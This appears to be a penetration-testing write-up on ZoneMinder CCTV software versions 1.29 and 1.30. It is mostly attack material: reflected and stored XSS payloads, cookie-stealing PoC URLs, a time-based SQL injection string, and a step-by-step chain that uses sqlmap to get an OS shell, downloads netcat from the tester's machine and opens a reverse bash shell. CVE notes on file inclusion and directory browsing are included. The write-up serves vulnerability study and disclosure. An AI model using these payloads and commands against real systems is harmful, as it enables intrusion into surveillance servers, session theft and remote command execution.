ZoneMinder is a free, open-source software application for monitoring via closed-circuit television - developed to run under Linux and FreeBSD and released under the terms of the GNU General Public License (GPL).

Users control ZoneMinder via a web-based interface. The application can use standard cameras (via a capture card, USB, FireWire etc.) or IP-based camera devices. The software allows three modes of operation:

  • monitoring (without recording)
  • recording after detected movement
  • permanent recording

ZoneMinder (1.29,1.30) is affected by several vulnerabilities such as XSS, SQL injection, Session Fixation. By default, authentication is disabled, which means the web application requires no login.


1. Accessing the server via HTTP/HTTPS using the URI /zm/ leads us to the main page where the version is displayed


2. We could also use curl

  • curl | grep version


XSS Reflected

1. Using the following code in the URL we can exploit a Reflected Cross Site Scripting (XSS) vulnerability.

  • Decoded: /zm/index.php?view=request&request=log&task=download&key=a9fef1f4&format=texty9fke'<html><head></head><body><script>alert(1)</script></body></html>ayn2h

Reflected without authentication:

  • Decoded: /zm/index.php/LSE4"><script>alert(1)</script>LSE

XXS Stored

1. We can also create a stored XSS, by creating a monitor. We will need BurpSuite as this is client side protected

  • Click on “Add New Monitor”

2. Now we will intercept the request with our proxy once we click on “Save”.

  • Name Vry4n-monitor
  • Click

3. Capturing the monitor save in BurpSuite, we can search for our monitoring variable, “Vry4n-monitor”

  • newMonitor%5BName%5D=Vry4n-monitor
  • Decoded: newMonitor[Name]=Vry4n-monitor

4. We can now replace it with our test XSS code

  • something<script>alert(1)</script>
  • Vry4n-monitor<script>alert(1)</script>

5. Now from the proxy forward the request towards the destination, refresh the browser

6. You will see the monitor name “Vry4n-monitor”, the code between <script></script>is executed by the browser.

If you actually inspect the source code of the page, and, search by your monitor name in this case “Vry4n-monitor”, you will see the rest (the XSS code)


SQLi Time-based (manual test)

1. The parameter “lmit” is vulnerable to SQL injection. We can test this on with MySQL > 5.0.11 stacked queries. With a web proxy we can capture requests, I’d use BurpSuite


3. We will send this to BurpSuite Repeater

4. Now place the following query, you will note a delay of 30 seconds, as the database sleeps as a result. (Play with this SLEEP() value and note the timing difference)

  • view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(30)))OQkj)#&minTime=1646279623.528930


1. We can user BurpSuite to capture a regular request, and replace the data with

  • view=request&request=log&task=query&limit=100
  • vi request.txt
  • cat request.txt

2. Run SQLmap against that file, (it takes around 20 minutes to complete), and spawn a shell

  • sqlmap -r request.txt --dbms mysql --os-shell

3. Now in our local machine we can try to capture traffic to test connectivity from the target machine to our machine

  • sudo tcpdump -i tun0 src

4. Now run ping from the remote machine ping -c 4

5. Check TCPdump

6. At this point we know this hosts accepts commands, and sends traffic out the interface, we will now try to get a reverse shell, first I will check if wget is installed

  • whereis wget
  • which wget

7. After verifying the location we can try to download netcat from our machine and place it into /tmp

Local machine

  • whereis nc
  • cp /usr/bin/nc .
  • python3 -m http.server 80

Remote machine

  • wget -O /tmp/nc

8. Now checking our local web server, we see a log where the connection was successful (200 OK)

9. Now that we know the wget command downloaded the file we will proceed to change permission to give executable rights

  • chmod 777 /tmp/nc

10. Start a listener in our local Kali/Parrot machine

  • nc -lvp 3305

11. Now execute netcat in the remote machine

  • /tmp/nc 3305 -e /bin/bash

12. Looking at our listener we should now see an open connection

  • whoami

CVE-2017-5595: LFI

A file disclosure and inclusion vulnerability exists in web/views/file.php in ZoneMinder 1.x through v1.30.0 because of unfiltered user-input being passed to readfile(), which allows an authenticated attacker to read local system files (e.g., /etc/passwd) in the context of the web server user (www-data). The attack vector is a .. (dot dot) in the path parameter within a zm/index.php?view=file&path= request.


CVE-2016-10140: Auth bypass and Info disclosure - affects v1.30 and v1.29

Apache HTTP Server configuration bundled with ZoneMinder allows a remote unauthenticated attacker to browse all directories

in the web root, e.g., a remote unauthenticated attacker can view all CCTV images on the server.

  • http://<serverIP>/events

CVE-2017-5367 - XSS - affects v1.30 and v1.29

Multiple reflected XSS exists.

The following has been injected into vulnerable URLas to show that the users session cookie can be stolen.

  • %3Cscript%3Ealert(document.cookie);%3C/script%3E

In form input view using POST at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/index.php?action=login&view=postlogin%3Cscript%3Ealert(document.cookie);%3C/script%3E&postLoginQuery=1&username=testuser&password=testpassword
  • Decoded: /zm/index.php?action=login&view=postlogin<script>alert(document.cookie);</script>&postLoginQuery=1&username=testuser&password=testpassword

In link input view using GET at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=groups%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/?view=groups<script>alert(document.cookie);</script>

In link input filter[terms][1][cnj] using GET at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=%3E%3D&filter[terms][0][val]=-1%2Bhour&filter[terms][1][cnj]=and%3Cscript%3Ealert(document.cookie);%3C/script%3E&filter[terms][1][attr]=MonitorId&filter[terms][1][op]=%3D&filter[terms][1][val]=1
  • Decoded: /zm/?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=>=&filter[terms][0][val]=-1+hour&filter[terms][1][cnj]=and<script>alert(document.cookie);</script>&filter[terms][1][attr]=MonitorId&filter[terms][1][op]==&filter[terms][1][val]=1

In form input view using GET at http://<serverIP>/zm/index.php

  • PoC: http://<serverIP>/zm/index.php?view=console%3Cscript%3Ealert(document.cookie);%3C/script%3E&action=1&addBtn=Add%20New%20Monitor&editBtn=Edit&deleteBtn=Delete&markMids[]=2
  • Decoded: /zm/index.php?view=console<script>alert(document.cookie);</script>&action=1&addBtn=Add New Monitor&editBtn=Edit&deleteBtn=Delete&markMids[]=2

In form input filter[terms][1][cnj] using POST at http://<serverIP>/zm/index.php

  • PoC: http://<serverIP>/zm/index.php?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=Archived&filter%5Bterms%5D%5B0%5D%5Bop%5D=%3D&filter%5Bterms%5D%5B0%5D%5Bval%5D=1&filter%5Bterms%5D%5B1%5D%5Bcnj%5D=and%3Cscript%3Ealert(document.cookie);%3C/script%3E&filter%5Bterms%5D%5B1%5D%5Battr%5D=MonitorId&filter%5Bterms%5D%5B1%5D%5Bop%5D=%3D&filter%5Bterms%5D%5B1%5D%5Bval%5D=1
  • Decoded: /zm/index.php?view=events&page=1&filter[terms][0][attr]=Archived&filter[terms][0][op]==&filter[terms][0][val]=1&filter[terms][1][cnj]=and<script>alert(document.cookie);</script>&filter[terms][1][attr]=MonitorId&filter[terms][1][op]==&filter[terms][1][val]=1

In form input filter[terms][1][cnj] using POST at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=DateTime&filter%5Bterms%5D%5B0%5D%5Bop%5D=&filter%5Bterms%5D%5B0%5D%5Bval%5D=-1+hour&filter%5Bterms%5D%5B1%5D%5Bcnj%5D=%3Cscript%3Ealert(document.cookie);%3C/script%3Eand&filter%5Bterms%5D%5B1%5D%5Battr%5D=MonitorId&filter%5Bterms%5D%5B1%5D%5Bop%5D==&filter%5Bterms%5D%5B1%5D%5Bval%5D=1
  • Decoded: /zm/?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=&filter[terms][0][val]=-1 hour&filter[terms][1][cnj]=<script>alert(document.cookie);</script>and&filter[terms][1][attr]=MonitorId&filter[terms][1][op]==&filter[terms][1][val]=1

In form input limit using POST at http://<serverIP>/zm/index.php

  • PoC: http://<serverIP>/zm/index.php?view=events&action=1&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=%3E%3D&filter[terms][0][val]=-1%2Bmonth&sort_field=StartTime&sort_asc=1&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/index.php?view=events&action=1&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=>=&filter[terms][0][val]=-1+month&sort_field=StartTime&sort_asc=1&limit=1"></a><script>alert(document.cookie);</script>

In link input limit using GET at http://<serverIP>/zm/index.php

  • PoC: http://<serverIP>/zm/index.php?view=events&page=1&filter%5Bterms%5D%5B0%5D%5Battr%5D=DateTime&filter%5Bterms%5D%5B0%5D%5Bop%5D=%3E%3D&filter%5Bterms%5D%5B0%5D%5Bval%5D=-1%2Bmonth&sort_field=Id&sort_asc=0&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/index.php?view=events&page=1&filter[terms][0][attr]=DateTime&filter[terms][0][op]=>=&filter[terms][0][val]=-1+month&sort_field=Id&sort_asc=0&limit=1"></a><script>alert(document.cookie);</script>

In form input limit using POST at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=events&action=1&page=1&sort_field=StartTime&sort_asc=1&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/?view=events&action=1&page=1&sort_field=StartTime&sort_asc=1&limit=1"></a><script>alert(document.cookie);</script>

In link input limit using GET at http://<serverIP>/zm/

  • PoC: http://<serverIP>/zm/?view=events&page=1&sort_field=Id&sort_asc=0&limit=1%22%3E%3C/a%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
  • Decoded: /zm/?view=events&page=1&sort_field=Id&sort_asc=0&limit=1"></a><script>alert(document.cookie);</script>


Upgrade to the most recent version